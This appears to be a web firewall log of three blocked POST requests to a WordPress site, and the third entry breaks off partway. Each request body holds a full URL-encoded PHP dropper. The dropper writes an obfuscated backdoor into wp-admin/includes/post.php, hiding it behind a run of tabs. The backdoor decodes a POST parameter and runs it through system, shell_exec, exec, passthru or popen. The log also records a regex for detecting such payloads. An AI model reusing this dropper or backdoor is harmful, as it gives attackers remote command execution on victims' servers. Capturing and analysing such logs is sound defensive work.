["2026-05-12 10:48:17","129.121.41.228","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Yp:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/post.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_handler4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520%2524event_handler7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524event_handler1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524event_handler6%2520%253D%2520%2522s%255Cx74r%255Cx65%255Cx61%255Cx6D_%255Cx67et_%255Cx63%255Cx6F%255Cx6Et%255Cx65nts%2522%253B%2520%2524config_manager%2520%253D%2520%2522he%255Cx782%255Cx62%255Cx69n%2522%253B%2520%2524event_handler5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524event_handler2%2520%253D%2520%2522shell%255Cx5Fexec%2522%253B%2520%2524event_handler3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx69%255Cx74em%2522%255D%2529%2529%2520%257B%2520function%2520event_dispatcher%2520%2528%2520%2524dat%252C%2520%2524hld%2520%2529%257B%2520%2524pset%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524dat%2529%2520as%2520%2524char%2529%257B%2520%2524pset.%253Dchr%2528ord%2528%2524char%2529%255E%2524hld%2529%253B%2520%257D%2520return%2524pset%253B%2520%257D%2520%2524item%2520%253D%2520%2524config_manager%2528%2524_POST%255B%2522%255Cx69%255Cx74em%2522%255D%2529%253B%2520%2524item%2520%253D%2520event_dispatcher%2528%2524item%252C%252016%2529%253B%2520if%2520%2528function_exists%2528%2524event_handler1%2529%2529%2520%257B%2520%2524event_handler1%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler2%2529%2529%2520%257B%2520print%2520%2524event_handler2%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler3%2529%2529%2520%257B%2520%2524event_handler3%2528%2524item%252C%2520%2524reference_dat%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524reference_dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler4%2529%2529%2520%257B%2520%2524event_handler4%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler5%2529%2520%2526%2526%2520function_exists%2528%2524event_handler6%2529%2520%2526%2526%2520function_exists%2528%2524event_handler7%2529%2529%2520%257B%2520%2524hld_pset%2520%253D%2520%2524event_handler5%2528%2524item%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524hld_pset%2529%2520%257B%2520%2524tkn_obj%2520%253D%2520%2524event_handler6%2528%2524hld_pset%2529%253B%2520%2524event_handler7%2528%2524hld_pset%2529%253B%2520print%2520%2524tkn_obj%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:5150\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJKNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nYp=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/post.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_handler4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520%2524event_handler7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524event_handler1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524event_handler6%2520%253D%2520%2522s%255Cx74r%255Cx65%255Cx61%255Cx6D_%255Cx67et_%255Cx63%255Cx6F%255Cx6Et%255Cx65nts%2522%253B%2520%2524config_manager%2520%253D%2520%2522he%255Cx782%255Cx62%255Cx69n%2522%253B%2520%2524event_handler5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524event_handler2%2520%253D%2520%2522shell%255Cx5Fexec%2522%253B%2520%2524event_handler3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx69%255Cx74em%2522%255D%2529%2529%2520%257B%2520function%2520event_dispatcher%2520%2528%2520%2524dat%252C%2520%2524hld%2520%2529%257B%2520%2524pset%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524dat%2529%2520as%2520%2524char%2529%257B%2520%2524pset.%253Dchr%2528ord%2528%2524char%2529%255E%2524hld%2529%253B%2520%257D%2520return%2524pset%253B%2520%257D%2520%2524item%2520%253D%2520%2524config_manager%2528%2524_POST%255B%2522%255Cx69%255Cx74em%2522%255D%2529%253B%2520%2524item%2520%253D%2520event_dispatcher%2528%2524item%252C%252016%2529%253B%2520if%2520%2528function_exists%2528%2524event_handler1%2529%2529%2520%257B%2520%2524event_handler1%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler2%2529%2529%2520%257B%2520print%2520%2524event_handler2%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler3%2529%2529%2520%257B%2520%2524event_handler3%2528%2524item%252C%2520%2524reference_dat%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524reference_dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler4%2529%2529%2520%257B%2520%2524event_handler4%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler5%2529%2520%2526%2526%2520function_exists%2528%2524event_handler6%2529%2520%2526%2526%2520function_exists%2528%2524event_handler7%2529%2529%2520%257B%2520%2524hld_pset%2520%253D%2520%2524event_handler5%2528%2524item%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524hld_pset%2529%2520%257B%2520%2524tkn_obj%2520%253D%2520%2524event_handler6%2528%2524hld_pset%2529%253B%2520%2524event_handler7%2528%2524hld_pset%2529%253B%2520print%2520%2524tkn_obj%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:48:18","52.232.35.131","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> DU:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/post.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_handler4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520%2524event_handler7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524event_handler1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524event_handler6%2520%253D%2520%2522s%255Cx74r%255Cx65%255Cx61%255Cx6D_%255Cx67et_%255Cx63%255Cx6F%255Cx6Et%255Cx65nts%2522%253B%2520%2524config_manager%2520%253D%2520%2522he%255Cx782%255Cx62%255Cx69n%2522%253B%2520%2524event_handler5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524event_handler2%2520%253D%2520%2522shell%255Cx5Fexec%2522%253B%2520%2524event_handler3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx69%255Cx74em%2522%255D%2529%2529%2520%257B%2520function%2520event_dispatcher%2520%2528%2520%2524dat%252C%2520%2524hld%2520%2529%257B%2520%2524pset%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524dat%2529%2520as%2520%2524char%2529%257B%2520%2524pset.%253Dchr%2528ord%2528%2524char%2529%255E%2524hld%2529%253B%2520%257D%2520return%2524pset%253B%2520%257D%2520%2524item%2520%253D%2520%2524config_manager%2528%2524_POST%255B%2522%255Cx69%255Cx74em%2522%255D%2529%253B%2520%2524item%2520%253D%2520event_dispatcher%2528%2524item%252C%252016%2529%253B%2520if%2520%2528function_exists%2528%2524event_handler1%2529%2529%2520%257B%2520%2524event_handler1%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler2%2529%2529%2520%257B%2520print%2520%2524event_handler2%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler3%2529%2529%2520%257B%2520%2524event_handler3%2528%2524item%252C%2520%2524reference_dat%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524reference_dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler4%2529%2529%2520%257B%2520%2524event_handler4%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler5%2529%2520%2526%2526%2520function_exists%2528%2524event_handler6%2529%2520%2526%2526%2520function_exists%2528%2524event_handler7%2529%2529%2520%257B%2520%2524hld_pset%2520%253D%2520%2524event_handler5%2528%2524item%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524hld_pset%2529%2520%257B%2520%2524tkn_obj%2520%253D%2520%2524event_handler6%2528%2524hld_pset%2529%253B%2520%2524event_handler7%2528%2524hld_pset%2529%253B%2520print%2520%2524tkn_obj%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvESHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:5150\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nDU=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/post.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_handler4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520%2524event_handler7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524event_handler1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524event_handler6%2520%253D%2520%2522s%255Cx74r%255Cx65%255Cx61%255Cx6D_%255Cx67et_%255Cx63%255Cx6F%255Cx6Et%255Cx65nts%2522%253B%2520%2524config_manager%2520%253D%2520%2522he%255Cx782%255Cx62%255Cx69n%2522%253B%2520%2524event_handler5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524event_handler2%2520%253D%2520%2522shell%255Cx5Fexec%2522%253B%2520%2524event_handler3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx69%255Cx74em%2522%255D%2529%2529%2520%257B%2520function%2520event_dispatcher%2520%2528%2520%2524dat%252C%2520%2524hld%2520%2529%257B%2520%2524pset%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524dat%2529%2520as%2520%2524char%2529%257B%2520%2524pset.%253Dchr%2528ord%2528%2524char%2529%255E%2524hld%2529%253B%2520%257D%2520return%2524pset%253B%2520%257D%2520%2524item%2520%253D%2520%2524config_manager%2528%2524_POST%255B%2522%255Cx69%255Cx74em%2522%255D%2529%253B%2520%2524item%2520%253D%2520event_dispatcher%2528%2524item%252C%252016%2529%253B%2520if%2520%2528function_exists%2528%2524event_handler1%2529%2529%2520%257B%2520%2524event_handler1%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler2%2529%2529%2520%257B%2520print%2520%2524event_handler2%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler3%2529%2529%2520%257B%2520%2524event_handler3%2528%2524item%252C%2520%2524reference_dat%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524reference_dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler4%2529%2529%2520%257B%2520%2524event_handler4%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler5%2529%2520%2526%2526%2520function_exists%2528%2524event_handler6%2529%2520%2526%2526%2520function_exists%2528%2524event_handler7%2529%2529%2520%257B%2520%2524hld_pset%2520%253D%2520%2524event_handler5%2528%2524item%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524hld_pset%2529%2520%257B%2520%2524tkn_obj%2520%253D%2520%2524event_handler6%2528%2524hld_pset%2529%253B%2520%2524event_handler7%2528%2524hld_pset%2529%253B%2520print%2520%2524tkn_obj%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:48:22","43.230.201.87","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> jl:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/post.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_handler4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520%2524event_handler7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524event_handler1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524event_handler6%2520%253D%2520%2522s%255Cx74r%255Cx65%255Cx61%255Cx6D_%255Cx67et_%255Cx63%255Cx6F%255Cx6Et%255Cx65nts%2522%253B%2520%2524config_manager%2520%253D%2520%2522he%255Cx782%255Cx62%255Cx69n%2522%253B%2520%2524event_handler5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524event_handler2%2520%253D%2520%2522shell%255Cx5Fexec%2522%253B%2520%2524event_handler3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx69%255Cx74em%2522%255D%2529%2529%2520%257B%2520function%2520event_dispatcher%2520%2528%2520%2524dat%252C%2520%2524hld%2520%2529%257B%2520%2524pset%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524dat%2529%2520as%2520%2524char%2529%257B%2520%2524pset.%253Dchr%2528ord%2528%2524char%2529%255E%2524hld%2529%253B%2520%257D%2520return%2524pset%253B%2520%257D%2520%2524item%2520%253D%2520%2524config_manager%2528%2524_POST%255B%2522%255Cx69%255Cx74em%2522%255D%2529%253B%2520%2524item%2520%253D%2520event_dispatcher%2528%2524item%252C%252016%2529%253B%2520if%2520%2528function_exists%2528%2524event_handler1%2529%2529%2520%257B%2520%2524event_handler1%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler2%2529%2529%2520%257B%2520print%2520%2524event_handler2%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler3%2529%2529%2520%257B%2520%2524event_handler3%2528%2524item%252C%2520%2524reference_dat%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524reference_dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler4%2529%2529%2520%257B%2520%2524event_handler4%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler5%2529%2520%2526%2526%2520function_exists%2528%2524event_handler6%2529%2520%2526%2526%2520function_exists%2528%2524event_handler7%2529%2529%2520%257B%2520%2524hld_pset%2520%253D%2520%2524event_handler5%2528%2524item%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524hld_pset%2529%2520%257B%2520%2524tkn_obj%2520%253D%2520%2524event_handler6%2528%2524hld_pset%2529%253B%2520%2524event_handler7%2528%2524hld_pset%2529%253B%2520print%2520%2524tkn_obj%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:5150\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnzjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\njl=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/post.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_handler4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520%2524event_handler7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524event_handler1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524event_handler6%2520%253D%2520%2522s%255Cx74r%255Cx65%255Cx61%255Cx6D_%255Cx67et_%255Cx63%255Cx6F%255Cx6Et%255Cx65nts%2522%253B%2520%2524config_manager%2520%253D%2520%2522he%255Cx782%255Cx62%255Cx69n%2522%253B%2520%2524event_handler5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524event_handler2%2520%253D%2520%2522shell%255Cx5Fexec%2522%253B%2520%2524event_handler3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx69%255Cx74em%2522%255D%2529%2529%2520%257B%2520function%2520event_dispatcher%2520%2528%2520%2524dat%252C%2520%2524hld%2520%2529%257B%2520%2524pset%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524dat%2529%2520as%2520%2524char%2529%257B%2520%2524pset.%253Dchr%2528ord%2528%2524char%2529%255E%2524hld%2529%253B%2520%257D%2520return%2524pset%253B%2520%257D%2520%2524item%2520%25